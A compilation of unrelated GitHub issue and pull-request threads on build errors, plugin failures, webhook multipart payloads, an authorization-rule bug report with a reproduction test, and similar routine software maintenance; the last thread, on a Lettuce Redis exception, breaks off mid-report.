Still reproducible on 1.3.71-13

Oops! Sorry @paultsimura. I can also reproduce it. Thanks for the verification.

It seems this bug has made its way onto staging and isn't only specific to dev now.

:wave: Friendly reminder that deploy blockers are time-sensitive ⏱ issues! Check out the open StagingDeployCash deploy checklist to see the list of PRs included in this release, then work quickly to do one of the following:

Identify the pull request that introduced this issue and revert it.
Find someone who can quickly fix the issue.
Fix the issue yourself.

I'm OK with that proposal, but I do have a request, can it be cleaned up a little by adding another utility method please? Something like:

            ReportUtils.isWaitingForIOUActionFromCurrentUser(optionItem) ||
            ReportUtils.isOpenTaskReportAssignedToUser(optionItem)

Thanks @tgolen, I'll make a separate util function👍

The PR is ready for review

Please note: when canceling a task on one device, there is a buggy behavior in another: you have to open the task thread in order to fetch the actual state of the task. But it's a different issue as after the thread was opened, both the LHN title and green indicator are fixed.

Going to remove the blocker on this as it's not a common flow right now and doesn't need to block deploy

Weird, the payment window wasn't added automatically. 🤔  Should be 7 days after the PR's deploy to watch for regressions.

I'm handing this off to another BZ as I'm going on sabbatical by end of week, and want to ensure this is paid.
Next steps are as follows:

Bug reporter: @gadhiyamanan $50
Contributor: @paultsimura $750 (50% bonus x OG price)
C+: @allroundexperts $750 (50% bonus x OG price)

@paultsimura you've been paid
@gadhiyamanan please accept the offer so that I can pay you.

@flaviadefaria offer accepted, thanks!

@allroundexperts can you address the comment above so that I can proceed to payment? Thanks!

$750 payment approved for @allroundexperts based on BZ summary.

Alright, I believe everyone has been paid so closing this.


Add functionality to export OpenGL texture name (object) as image file

Add save_as_bmp to Utility module.
Example of use:
save_as_bmp("font.bmp")

Implemented save_as_bmp and save_texture_as_bmp in Utility module.


Programmatic rules are not considered in the insertion

Hi Platformatic team, I was playing with the programmatic rules by creating some logic in the rules.
Specifically, I am talking about the insertion method (so far it is the only one I have seen). The auth of this method is performed by the save function, which performs a check on the primary keys. This check is always false since on the insertion in the payload the primary key is not always present.
https://github.com/platformatic/platformatic/blob/20d42b9a08d2e442731dc02f57005273414f25b2/packages/db-authorization/index.js#L209-L212
To reproduce

Clone the Platformatic repo
Create a new test file under the db-authorization package
Copy the following code and run the test

'use strict'

const { test } = require('tap')
const fastify = require('fastify')
const core = require('@platformatic/db-core')
const { connInfo, clear, isSQLite } = require('./helper')
const auth = require('..')

async function createBasicPages (db, sql) {
  if (isSQLite) {
    await db.query(sql`CREATE TABLE pages (
      id INTEGER PRIMARY KEY,
      title VARCHAR(42)
    );`)
  } else {
    await db.query(sql`CREATE TABLE pages (
      id SERIAL PRIMARY KEY,
      title VARCHAR(42)
    );`)
  }
}

test('anonymous user can perform all the operations', async ({ pass, teardown, same, equal }) => {
  const app = fastify()
  app.register(core, {
    ...connInfo,
    events: false,
    async onDatabaseLoad (db, sql) {
      pass('onDatabaseLoad called')

      await clear(db, sql)
      await createBasicPages(db, sql)
    }
  })
  app.register(auth, {
    // anonymousRole: 'anonymous',
    rules: [{
      role: 'anonymous',
      entity: 'page',
      find: true,
      delete: true,
      async save () {
        return false // null, {}, undefined, Promise.reject()
      },
    }]
  })
  teardown(app.close.bind(app))

  await app.ready()

  // GraphQL
  {
    const res = await app.inject({
      method: 'POST',
      url: '/graphql',
      body: {
        query: `
          mutation {
            savePage(input: { title: "Hello" }) {
              id
              title
            }
          }
        `
      }
    })
    equal(res.statusCode, 200, 'savePage status code')
    same(res.json(), {
      data: {
        savePage: {
          id: 1,
          title: 'Hello'
        }
      }
    }, 'savePage response')
  }

  // REST
  {
    const res = await app.inject({
      method: 'POST',
      url: '/pages',
      body: {
        title: 'Hello'
      }
    })
    equal(res.statusCode, 200, 'savePage status code')
    same(res.json(), {
      id: 2,
      title: 'Hello'
    }, 'savePage response')
  }
})

Authorization rule (save) cannot be a function. It should be either an object or a boolean.


Module build failed: BrowserslistError: Unknown browser query android all

Upon your last update version on npm，module build causes postcss-preset-env throwing error.

Related threads:
https://github.com/facebook/create-react-app/issues/7239
https://github.com/browserslist/browserslist/issues/382

People at that create-react-app issue are like

🤣

For good reason...

Plz..

We made a dirty fix in Browserslist 4.6.3 to fix the problem:
https://twitter.com/Browserslist/status/1140911400304467968

We made a dirty fix in Browserslist 4.6.3 to fix the problem:
https://twitter.com/Browserslist/status/1140911400304467968

It works, tons of BrowserslistError warning showing up though.

I tried to run npm i postcss-preset-env through terminal, ran the react app but still same problem.
Failed to compile
./src/index.css (./node_modules/css-loader/dist/cjs.js??ref--6-oneOf-3-1!./node_modules/postcss-loader/src??postcss!./src/index.css)
BrowserslistError: Unknown browser query `android all`. Maybe you are using old Browserslist or made typo in query.
    at Array.reduce (<anonymous>)
    at Array.some (<anonymous>)
    at Array.filter (<anonymous>)

I tried to run npm i postcss-preset-env through terminal, ran the react app but still same problem.
Failed to compile
./src/index.css (./node_modules/css-loader/dist/cjs.js??ref--6-oneOf-3-1!./node_modules/postcss-loader/src??postcss!./src/index.css)
BrowserslistError: Unknown browser query `android all`. Maybe you are using old Browserslist or made typo in query.
    at Array.reduce (<anonymous>)
    at Array.some (<anonymous>)
    at Array.filter (<anonymous>)

Try installing latest version of postcss-preset-env

Having the same issue. This is a major problem for us right now.

@ai can you please npm unpublish<EMAIL_ADDRESS>

for me temporary solution was just
{
  "resolutions": {
    "graphql": "14.3.1",
    "@types\/react": "16.8.20",
    "caniuse-lite": "1.0.30000971"
  }
}

this just made me forget the whole problem

Maybe a rollback to the previous version would be a good idea?
At least until the problem is fixed.

@DrunkenPoney we already have a dirty fix in Browserslist and now working on a proper fix in postcss-preset-env.
Anyway caniuse-lite is just a repack of caniuse-db. The error was in caniuse-db, but Can I Use authors doesn’t want to do anything with it and give it as-is.

Same issue

Builds is okay now, since the latest update to caniuse-lite from 5 hours ago.
Update the version of caniuse 1.0.30000976 and everything will be fine.

We made a dirty fix in Browserslist 4.6.3 to fix the problem:
https://twitter.com/Browserslist/status/1140911400304467968

It works, tons of BrowserslistError warning showing up though.

How did it work if you still get those console logs?

The problem was fixed


Update ncs36510 flash algo to fix erase

Rebuild the ncs36510 flash algo with a fix to properly wait for mass erase to complete. This allows the flash algo to work correctly when flash init is not called before each flash operation.

CC: @maclobdell

/morph test

/morph test

/morph test

cc @danclement, @jacobjohnson-ON

This is built from https://github.com/mbedmicro/FlashAlgo/pull/35


Support multipart requests

Hello,
at first, I am very happy to found this "webhook server" here. its working very well for some tests, BUT
the main reason for searching a "webhook server" was that I would send webhooks from my plex media server to webhook server localy.
It looks like the paypload coming from plex media server is malformed, for every hook there are something like this:
[webhook] 2019/04/02 14:33:36 [f022a4] error parsing form payload invalid URL escape "%4\x92"
But a 2nd webhook-entry in the plex media server configuration to webhook.site (Testing Website) looks good, there the payload received successfully.
Has someone maybe also a plex media server and can test this issue?
edit: here is the payload:
{"event":"media.play","user":true,"owner":true,"Account":{"id":1,"thumb":"https://plex.tv/users/35a30735d350ab11/avatar?c=34253252","title":"plex@myserver"},"Server":{"title":"PLEXSERVER","uuid":"0c242342473962532jilk23432432523522"},"Player":{"local":true,"publicAddress":"<IP_ADDRESS>","title":"Firefox","uuid":"z9yrpwerwrwerrwtkb808ev"},"Metadata":{"librarySectionType":"show","ratingKey":"57828","key":"/library/metadata/57838","parentRatingKey":"53825","grandparentRatingKey":"27834","guid":"com.plexapp.agents.thetvdb://315122/1/3?lang=de","librarySectionTitle":"Serien","librarySectionID":21,"librarySectionKey":"/library/sections/21","type":"episode","title":"The Ex-Best Friend","titleSort":"TitleXXXX","grandparentKey":"/library/metadata/57224","parentKey":"/library/metadata/57825","grandparentTitle":"SeriennameXXX","parentTitle":"Season 1","contentRating":"Not Rated","summary":"Plot der Serie XXX. ","index":3,"parentIndex":1,"viewOffset":199000,"lastViewedAt":1554210778,"year":2015,"thumb":"/library/metadata/57828/thumb/1554121566","art":"/library/metadata/57824/art/1554121566","parentThumb":"/library/metadata/57825/thumb/1554121566","grandparentThumb":"/library/metadata/57824/thumb/1554121566","grandparentArt":"/library/metadata/57824/art/1554121566","originallyAvailableAt":"2015-10-21","addedAt":1552565597,"updatedAt":1554121566}}

Best regards

Hi, could you try adding "incoming-payload-content-type": "application/json" to your hook definition, and see if that works for you?

Hi adnanh,
thx for you answer, but still no success :
with:
"incoming-payload-content-type": "application/json"
the error is:
C:\Users\anon\Downloads\webhook-windows-amd64.tar\webhook-windows-amd64>webhook.exe -hooks plex.json -verbose [webhook] 2019/04/02 17:31:13 version 2.6.9 starting [webhook] 2019/04/02 17:31:13 attempting to load hooks from plex.json [webhook] 2019/04/02 17:31:13 found 1 hook(s) in file [webhook] 2019/04/02 17:31:13   loaded: plex-webhook [webhook] 2019/04/02 17:31:13 serving hooks on http://<IP_ADDRESS>:9000/hooks/{id} [webhook] 2019/04/02 17:31:17 [272178] incoming HTTP request from <IP_ADDRESS>:40754 [webhook] 2019/04/02 17:31:17 [272178] plex-webhook got matched [webhook] 2019/04/02 17:31:17 [272178] error parsing JSON payload invalid character '-' in numeric literal [webhook] 2019/04/02 17:31:17 [272178] plex-webhook hook triggered successfully [webhook] 2019/04/02 17:31:17 200 | 19.0019ms | <IP_ADDRESS>:9000 | POST /hooks/plex-webhook [webhook] 2019/04/02 17:31:17 [272178] error extracting command arguments: couldn't retrieve argument for {Source:payload Name:event EnvName: Base64Decode:false} [webhook] 2019/04/02 17:31:17 [272178] executing C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-windows-amd64/test.cmd (C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-windows-amd64/test.cmd) with arguments ["C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-win dows-amd64/test.cmd" ""] and environment [] using C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-windows-amd64/ as cwd [webhook] 2019/04/02 17:31:17 [272178] command output: C:\Users\anon\Downloads\webhook-windows-amd64.tar\webhook-windows-amd64>echo ""  1>C:\Users\anon\Downloads\webhook-windows-amd64.tar\webhook-windows-amd64\Payload.log
so with "application/json" force the error moved from:
invalid URL escape "%4\x92"
to
invalid character '-' in numeric literal
Additional info: Iam using Windows Server 2008 R2
Another hints to solve this issue?
Best regards

Can you share your hooks config?

sure, its very empty, Iam new to it:
[   {     "id": "plex-webhook", 	"incoming-payload-content-type": "application/json",     "execute-command": "C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-windows-amd64/test.cmd",     "command-working-directory": "C:/Users/anon/Downloads/webhook-windows-amd64.tar/webhook-windows-amd64/",     "pass-arguments-to-command":     [       {         "source": "payload",         "name": "event"       }     ],     "trigger-rule":     {       "match":       {         "type": "ip-whitelist",         "ip-range": "<IP_ADDRESS>/24"       }     }   } ]

From the PLEX docs, this is what could be causing the issue:

As stated above, the payload is sent in JSON format inside a multipart HTTP POST request. For the media.play and media.rate events, a second part of the POST request contains a JPEG thumbnail for the media.

It's a multipart payload, and the second part is an image...

Ohhhh shit ;(, so it‘s not possible to handle it correctly?
are there a way to split the first and second payload „raw“ and save to seperate files? so I can process it with cmd/powershell?
Or is there a better way?
best regards

We're seen this before in #182.  Webhook doesn't currently handle multipart messages.

hi moorereason,
arghhhhhh :-( is there a hope that it is supported in future releases?
would be sooooo great.
best regards

For now #360 should make it a bit more clear in logs what's really going on. And #356 should provide a temporary workaround mechanism. But the real implementation is proper multipart form handling.

Hi guys, when we can expect 2.7.0 to be released?
Thanks and keep up the good work!

FYI I have created GitLab snippet about how to send Telegram notifications if certain Plex events occur and all that by using this extraordinary service :slightly_smiling_face:.
Cheers guys!

@psyhomb 2.7.0 is out :)

Merged into master as f38dfbb.

@psyhomb 2.7.0 is out :)
Awsome news, thanks guys!


feat(FMP-390): initial visual design for fmprotocol.com

Current dependencies on/for this PR:

main

PR #72   👈

This comment was auto-generated by Graphite.


#20096 SELECT with WITH clause

Case from the issue should work right now.
SELECT *
FROM dbo.Person PARTITION(xx,yy,zz) p WITH(NOLOCK)
WHERE p.id > 5;

Also I added support for mysql partitioning selection - queries having partition(p0, p1) after table name in from clause should work now:
SELECT store_id
FROM employees PARTITION (p1,p2,p3)
GROUP BY store_id HAVING c > 4;

verified


Plugin isn't correctly loading

After installing and enabling the plugin using hyprpm, the plugin appears to be loaded by hyprpm however running hyprctl plugin list shows that it isn't actually loaded, which results in gestures not registering
Output of hyprpm list:
 → Repository hyprland-plugins:
  │ Plugin borders-plus-plus
  └─ enabled: false
  │ Plugin csgo-vulkan-fix
  └─ enabled: false
  │ Plugin hyprbars
  └─ enabled: false
  │ Plugin hyprexpo
  └─ enabled: false
  │ Plugin hyprtrails
  └─ enabled: false
  │ Plugin hyprwinwrap
  └─ enabled: false
 → Repository hycov:
  │ Plugin hycov
  └─ enabled: false
 → Repository hyprgrass:
  │ Plugin hyprgrass
  └─ enabled: true

Output of hyprctl systeminfo:
no plugins loaded

~
❯ hyprctl systeminfo
Hyprland, built from branch main at commit 3529fbc6d4db298c4d50a39732e59ca38b463c9f  (compositor: fix getMonitorFromVector getting wrong monitor (6010)).
Date: Sat May 11 10:35:20 2024
Tag: v0.40.0-60-g3529fbc6, commits: 4666

flags: (if any)

System Information:
System name: Linux
Node name: thinkpad-l380-yoga
Release: 6.8.9-arch1-2
Version: #1 SMP PREEMPT_DYNAMIC Tue, 07 May 2024 21:35:54 +0000

GPU information:
00:02.0 VGA compatible controller [0300]: Intel Corporation UHD Graphics 620 [8086:5917] (rev 07) (prog-if 00 [VGA controller])
00:13.0 Non-VGA unclassified device [0000]: Intel Corporation Sunrise Point-LP Integrated Sensor Hub [8086:9d35] (rev 21)

os-release: NAME="EndeavourOS"
PRETTY_NAME="EndeavourOS"
ID="endeavouros"
ID_LIKE="arch"
BUILD_ID="2024.01.25"
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://endeavouros.com"
DOCUMENTATION_URL="https://discovery.endeavouros.com"
SUPPORT_URL="https://forum.endeavouros.com"
BUG_REPORT_URL="https://forum.endeavouros.com/c/general-system/endeavouros-installation"
PRIVACY_POLICY_URL="https://endeavouros.com/privacy-policy-2"
LOGO="endeavouros"

plugins:

Same here, gestures stopped wokring about a week ago. at least two git updates ago. Getsures used to work great on this host.
❯ hyprctl plugin list no plugins loaded
 hyprpm list          → Repository hyprgrass:   │ Plugin hyprgrass   └─ enabled: true
`❯ hyprctl systeminfo
Hyprland, built from branch main at commit ed3a888fc274e09a5097ebbe3d206e4bc85bbb87  (hyprpm: fix style).
Date: Fri May 10 22:56:54 2024
Tag: v0.40.0-59-ged3a888f, commits: 4665
flags: (if any)
System Information:
System name: Linux
Node name: x1yoga
Release: 6.8.9-arch1-2
Version: #1 SMP PREEMPT_DYNAMIC Tue, 07 May 2024 21:35:54 +0000
GPU information:
00:02.0 VGA compatible controller [0300]: Intel Corporation WhiskeyLake-U GT2 [UHD Graphics 620] [8086:3ea0] (rev 02) (prog-if 00 [VGA controller])
os-release: NAME="Arch Linux"
PRETTY_NAME="Arch Linux"
ID=arch
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://archlinux.org/"
DOCUMENTATION_URL="https://wiki.archlinux.org/"
SUPPORT_URL="https://bbs.archlinux.org/"
BUG_REPORT_URL="https://gitlab.archlinux.org/groups/archlinux/-/issues"
PRIVACY_POLICY_URL="https://terms.archlinux.org/docs/privacy-policy/"
LOGO=archlinux-logo
plugins:`

does #118 fix this?

Currently I'm unable to test this since this plugin doesn't compile on the latest version of Hyprland-git. I'll try this once the plugin is updated.

https://github.com/hyprwm/Hyprland/issues/6044

I've switched back to Hyprland 0.40.0 and it still fails to build after running hyprpm update -f -v. Here is the verbose output:
✔ repository hyprgrass has updates.
 → Building hyprgrass
✔ found hyprpm manifest
 → Manifest has 3 pins, checking
✔ commit pin e5a9eb57ec4ef3b89296f76912f37fd4c3bce14b matched hl, resetting
 → Building hyprgrass
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╍━━━━━━━━━━━━  6 / 8  Updating hyprgrass[v] shell returned:  -> cd /tmp/hyprpm/fahmed && PKG_CONFIG_PATH="/home/fahmed/.local/share/hyprpm/headersRoot/share/pkgconfig" meson setup build
The Meson build system
Version: 1.4.0
Source dir: /tmp/hyprpm/fahmed
Build dir: /tmp/hyprpm/fahmed/build
Build type: native build
Project name: hyprgrass
Project version: 0.6.0
C compiler for the host machine: cc (gcc 14.1.1 "cc (GCC) 14.1.1 20240507")
C linker for the host machine: cc ld.bfd 2.42.0
C++ compiler for the host machine: c++ (gcc 14.1.1 "c++ (GCC) 14.1.1 20240507")
C++ linker for the host machine: c++ ld.bfd 2.42.0
Host machine cpu family: x86_64
Host machine cpu: x86_64
Compiler for C++ supports arguments -std=c++23: YES
meson.build:8: WARNING: Consider using the built-in option for language standard version instead of using "-std=c++23".
Found pkg-config: YES (/usr/bin/pkg-config) 2.1.1
Run-time dependency hyprland found: YES 0.40.0
Found CMake: /usr/bin/cmake (3.29.3)
Run-time dependency wftouch found: NO (tried pkgconfig and cmake)

Executing subproject wf-touch

wf-touch| Project name: wf-touch
wf-touch| Project version: 0.0
wf-touch| C++ compiler for the host machine: c++ (gcc 14.1.1 "c++ (GCC) 14.1.1 20240507")
wf-touch| C++ linker for the host machine: c++ ld.bfd 2.42.0
wf-touch| Run-time dependency glm found: NO (tried pkgconfig and cmake)

subprojects/wf-touch/meson.build:6:6: ERROR: Dependency "glm" not found, tried pkgconfig and cmake

A full log can be found at /tmp/hyprpm/fahmed/build/meson-logs/meson-log.txt

 -> cd /tmp/hyprpm/fahmed && PKG_CONFIG_PATH="/home/fahmed/.local/share/hyprpm/headersRoot/share/pkgconfig" ninja -C build
ninja: Entering directory `build'
ninja: error: loading 'build.ninja': No such file or directory

✖ Plugin hyprgrass failed to build.
  This likely means that the plugin is either outdated, not yet available for your version, or broken.
  If you are on -git, update first.
  Try re-running with -v to see more verbose output.
Fetching submodule subprojects/wf-touch
✔ updated hyprgrass
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━  8 / 8  Done!
✔ Ensuring plugin load state
✔ Loaded hyprbars
✔ Loaded hyprgrass
✔ Plugin load state ensured

install glm

I've now installed glm, but now I'm getting errors related to GestureMapper.cpp
Here is the output of hyprpm update -f -v
✔ repository hyprgrass has updates.
 → Building hyprgrass
✔ found hyprpm manifest
 → Manifest has 3 pins, checking
✔ commit pin e5a9eb57ec4ef3b89296f76912f37fd4c3bce14b matched hl, resetting
 → Building hyprgrass
 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╍━━━━━━━━━━━━  6 / 8  Updating hyprgrass[v] shell returned:  -> cd /tmp/hyprpm/fahmed && PKG_CONFIG_PATH="/home/fahmed/.local/share/hyprpm/headersRoot/share/pkgconfig" meson setup build
The Meson build system
Version: 1.4.0
Source dir: /tmp/hyprpm/fahmed
Build dir: /tmp/hyprpm/fahmed/build
Build type: native build
Project name: hyprgrass
Project version: 0.6.0
C compiler for the host machine: cc (gcc 14.1.1 "cc (GCC) 14.1.1 20240507")
C linker for the host machine: cc ld.bfd 2.42.0
C++ compiler for the host machine: c++ (gcc 14.1.1 "c++ (GCC) 14.1.1 20240507")
C++ linker for the host machine: c++ ld.bfd 2.42.0
Host machine cpu family: x86_64
Host machine cpu: x86_64
Compiler for C++ supports arguments -std=c++23: YES
meson.build:8: WARNING: Consider using the built-in option for language standard version instead of using "-std=c++23".
Found pkg-config: YES (/usr/bin/pkg-config) 2.1.1
Run-time dependency hyprland found: YES 0.40.0
Found CMake: /usr/bin/cmake (3.29.3)
Run-time dependency wftouch found: NO (tried pkgconfig and cmake)

Executing subproject wf-touch

wf-touch| Project name: wf-touch
wf-touch| Project version: 0.0
wf-touch| C++ compiler for the host machine: c++ (gcc 14.1.1 "c++ (GCC) 14.1.1 20240507")
wf-touch| C++ linker for the host machine: c++ ld.bfd 2.42.0
wf-touch| Run-time dependency glm found: YES 1.0.0
wf-touch| Run-time dependency doctest found: NO (tried pkgconfig and cmake)
wf-touch| Build targets in project: 1
wf-touch| Subproject wf-touch finished.

Run-time dependency doctest found: NO (tried pkgconfig and cmake)
Run-time dependency pixman-1 found: YES 0.43.4
Run-time dependency libdrm found: YES 2.4.120
Build targets in project: 3

hyprgrass 0.6.0

  Subprojects
    wf-touch: YES

Found ninja-1.12.1 at /usr/bin/ninja

 -> cd /tmp/hyprpm/fahmed && PKG_CONFIG_PATH="/home/fahmed/.local/share/hyprpm/headersRoot/share/pkgconfig" ninja -C build
ninja: Entering directory `build'
[1/13] Compiling C++ object src/gestures/libgestures.a.p/Shared.cpp.o
[2/13] Compiling C++ object src/gestures/libgestures.a.p/DragGesture.cpp.o
[3/13] Compiling C++ object src/gestures/libgestures.a.p/CompletedGesture.cpp.o
[4/13] Compiling C++ object subprojects/wf-touch/libwftouch.a.p/src_touch.cpp.o
[5/13] Compiling C++ object subprojects/wf-touch/libwftouch.a.p/src_actions.cpp.o
[6/13] Compiling C++ object subprojects/wf-touch/libwftouch.a.p/src_math.cpp.o
[7/13] Linking static target subprojects/wf-touch/libwftouch.a
[8/13] Compiling C++ object src/gestures/libgestures.a.p/Actions.cpp.o
[9/13] Compiling C++ object src/gestures/libgestures.a.p/Gestures.cpp.o
[10/13] Linking static target src/gestures/libgestures.a
[11/13] Compiling C++ object src/libhyprgrass.so.p/GestureManager.cpp.o
FAILED: src/libhyprgrass.so.p/GestureManager.cpp.o
c++ -Isrc/libhyprgrass.so.p -Isrc -I../src -Isubprojects/wf-touch -I../subprojects/wf-touch -I/usr/include -I/usr/include/pixman-1 -I/usr/include/libdrm -I/home/fahmed/.local/share/hyprpm/headersRoot/include/hyprland/protocols -I/home/fahmed/.local/share/hyprpm/headersRoot/include/hyprland/wlroots-hyprland -I/home/fahmed/.local/share/hyprpm/headersRoot/include -fdiagnostics-color=always -D_GLIBCXX_ASSERTIONS=1 -D_FILE_OFFSET_BITS=64 -Wall -Winvalid-pch -O3 -std=c++23 -fPIC -DWLR_USE_UNSTABLE -MD -MQ src/libhyprgrass.so.p/GestureManager.cpp.o -MF src/libhyprgrass.so.p/GestureManager.cpp.o.d -o src/libhyprgrass.so.p/GestureManager.cpp.o -c ../src/GestureManager.cpp
../src/GestureManager.cpp: In member function ‘bool GestureManager::onTouchDown(wlr_touch_down_event*)’:
../src/GestureManager.cpp:324:55: error: ‘class CInputManager’ has no member named ‘m_lTouchDevices’; did you mean ‘newTouchDevice’?
  324 |     const auto PDEVIT = std::find_if(g_pInputManager->m_lTouchDevices.begin(), g_pInputManager->m_lTouchDevices.end(),
      |                                                       ^~~~~~~~~~~~~~~
      |                                                       newTouchDevice
../src/GestureManager.cpp:324:97: error: ‘class CInputManager’ has no member named ‘m_lTouchDevices’; did you mean ‘newTouchDevice’?
  324 |     const auto PDEVIT = std::find_if(g_pInputManager->m_lTouchDevices.begin(), g_pInputManager->m_lTouchDevices.end(),
      |                                                                                ^~~~~~~~~~~~~~~
      |                                                                                newTouchDevice
../src/GestureManager.cpp:325:48: error: ‘STouchDevice’ does not name a type; did you mean ‘SSwitchDevice’?
  325 |                                      [&](const STouchDevice& other) { return other.pWlrDevice == &ev->touch->base; });
      |                                                ^~~~~~~~~~~~
      |                                                SSwitchDevice
../src/GestureManager.cpp: In lambda function:
../src/GestureManager.cpp:325:118: error: expected ‘{’ before ‘;’ token
  325 |                                      [&](const STouchDevice& other) { return other.pWlrDevice == &ev->touch->base; });
      |                                                                                ^
../src/GestureManager.cpp: In member function ‘bool GestureManager::onTouchDown(wlr_touch_down_event*)’:
../src/GestureManager.cpp:325:118: error: expected ‘)’ before ‘;’ token
  325 |                                      [&](const STouchDevice& other) { return other.pWlrDevice == &ev->touch->base; });
      |                                                                                ^
      |                                                                                )
../src/GestureManager.cpp:324:37: note: to match this ‘(’
  324 |     const auto PDEVIT = std::find_if(g_pInputManager->m_lTouchDevices.begin(), g_pInputManager->m_lTouchDevices.end(),
      |                                     ^
../src/GestureManager.cpp:327:36: error: ‘class CInputManager’ has no member named ‘m_lTouchDevices’; did you mean ‘newTouchDevice’?
  327 |     if (PDEVIT != g_pInputManager->m_lTouchDevices.end() && !PDEVIT->boundOutput.empty()) {
      |                                    ^~~~~~~~~~~~~~~
      |                                    newTouchDevice
[12/13] Compiling C++ object src/libhyprgrass.so.p/main.cpp.o
ninja: build stopped: subcommand failed.

✖ Plugin hyprgrass failed to build.
  This likely means that the plugin is either outdated, not yet available for your version, or broken.
  If you are on -git, update first.
  Try re-running with -v to see more verbose output.


New release

Hello. Please make a new release (after my PRs, ofc :)), because your repository will be used for syntax highlighting in GitHub very soon (https://github.com/github/linguist/pull/2512, https://github.com/github/linguist/pull/2882).

Thanks for the brilliant contributions once again!


Gjoranv/add default public metrics consumer

FYI: @bratseth
The name and metrics contained in the default-public metrics consumer, hereunder the metric set with the same name, are new public apis (names and contents, not the code itself). They are not set in stone yet, so this is just a heads up.
The metric set and consumer names are equal to make it more obvious for users to create a custom consumer with some metrics added along with all metrics given to the default consumer.
  <consumer id='my-consumer' />
    <metric-set id='default-public' />
    <metric ... />

URL:
host:19092/metrics/v1/values?consumer=default-public vs.
host:19092/metrics/v1/values?consumer=my-consumer

FYI: @jobergum


Pollution from local lua installation

Currently, the locally installed lua environment will pollute the environment and prevent AMUNSS from running. This can be fixed by removing the LUA_PATH and LUA_CPATH environment variables since you are already using SETLOCAL. Without these changes, a conflicting version of e.g. lfs can cause AMUMSS to fail.
For example:
SETLOCAL EnableDelayedExpansion ENABLEEXTENSIONS

rem Prevent pollution from local lua installations.
set LUA_PATH=
set LUA_CPATH=

The following files seem to need the change:

bzrun.bat
MODBUILDER\Check_CONFLICTS.bat
MODBUILDER\CreateMod.bat
MODBUILDER\GetFreshSources.bat
MODBUILDER\MBINCompilerDownloader.bat

I'm not sure of the structure of this project. It has a lot of duplicate files and version history built-in? I'm not sure how to appropriately submit a PR for how you want things managed, but hopefully the above information helps for a future update.

Please explain how LUA_PATH and LUA_CPATH are preventing AMUMSS from running!
No where in the code these two variables are used...

LUA_PATH and LUA_CPATH are not AMUMSS-specific, they are used by lua itself. You can read more about it in the Lua Manual, Chapter 8.1.
As an alternative, you can probably overwrite this behavior by changing every lua file by configuring package.path and package.cpath. Though since you're pushing/popping the environment with SETLOCAL already, and have a fair few lua files, the original suggestion is the easiest.

Currently, the locally installed lua environment will pollute the environment and prevent AMUNSS from running. This can be fixed by removing the LUA_PATH and LUA_CPATH environment variables since you are already using SETLOCAL. Without these changes, a conflicting version of e.g. lfs can cause AMUMSS to fail.
For example:
SETLOCAL EnableDelayedExpansion ENABLEEXTENSIONS

rem Prevent pollution from local lua installations.
set LUA_PATH=
set LUA_CPATH=

The following files seem to need the change:

bzrun.bat
MODBUILDER\Check_CONFLICTS.bat
MODBUILDER\CreateMod.bat
MODBUILDER\GetFreshSources.bat
MODBUILDER\MBINCompilerDownloader.bat

I'm not sure of the structure of this project. It has a lot of duplicate files and version history built-in? I'm not sure how to appropriately submit a PR for how you want things managed, but hopefully the above information helps for a future update.

Specifically this statement:

the locally installed lua environment will pollute the environment and prevent AMUNSS from running.

Could you please explain why/how this prevents AMUMSS from running its custom lua.exe?  What are you seeing in the cmd window when executing BUILDMOD.bat?
Please provide log or screenshot of problem you are seeing when trying to run AMUMSS

Issue will be Closed after 7 days from now, due to lack of feedback

Close for lack of feedback...


two accounts in config?

How can i get a second deboot in config with his own account?
I tried it with two config entries, each one for one account - Plugin crashes

Hi, you can try with 2 instances of the plugin on different bridges in homebridge, should work. However, the plugi does not support multiple accounts in one instance.


Implement LWRP to maintain HTTP ACLs

Implements #213

Thanks for this pull request!
I know that WCF is technically different from the Windows firewall and from IIS, but I think this would fit in better as a resource in https://github.com/lynx44/windows_firewall or a similar cookbook.  Perhaps even https://github.com/opscode-cookbooks/iis ?

Alright - let's put it in for now.  If it grows more features, we can extract it to a cookbook on its own.  Other than that one comment change, this looks good!


Wrong plugin name in routing documentation

Wrong plugin name in routing documentation:
there is bitbag_sylius_cms_plugin
there should be bitbag_sylius_invoicing_plugin

Thanks! Fixed ✅


Lettuce Throwing  java.lang.IndexOutOfBoundsException.

Hello,
We are finding that some of our lettuce client hosts start spontaneously throwing the following exception:
Caused by: com.lambdaworks.redis.RedisException: java.lang.IndexOutOfBoundsException: Index: 1, Size: 1
    at com.lambdaworks.redis.cluster.MultiNodeExecution.execute(MultiNodeExecution.java:31)
    at com.lambdaworks.redis.cluster.RedisAdvancedClusterAsyncCommandsImpl.lambda$mget$1(RedisAdvancedClusterAsyncCommandsImpl.java:118)
    at com.lambdaworks.redis.cluster.PipelinedRedisFuture.lambda$new$0(PipelinedRedisFuture.java:24)
    at com.lambdaworks.redis.protocol.AsyncCommand.completeResult(AsyncCommand.java:88)
    at com.lambdaworks.redis.protocol.AsyncCommand.complete(AsyncCommand.java:76)
    at com.lambdaworks.redis.protocol.CommandWrapper.complete(CommandWrapper.java:30)
    at com.lambdaworks.redis.cluster.ClusterCommand.complete(ClusterCommand.java:44)
    at com.lambdaworks.redis.protocol.CommandHandler.decode(CommandHandler.java:170)
    at com.lambdaworks.redis.protocol.CommandHandler.channelRead(CommandHandler.java:141)
    at com.lambdaworks.redis.cluster.RedisAdvancedClusterAsyncCommandsImpl.lambda$null$0(RedisAdvancedClusterAsyncCommandsImpl.java:118)
    at com.lambdaworks.redis.cluster.MultiNodeExecution.execute(MultiNodeExecution.java:29)

Some of the host continue to throw this exception until they are restarted, while others will heal on their own.
We do not see anything interesting in the DEBUG logs leading up to these exceptions; no disconnects or errors, just the expected output leading to the exception such as:
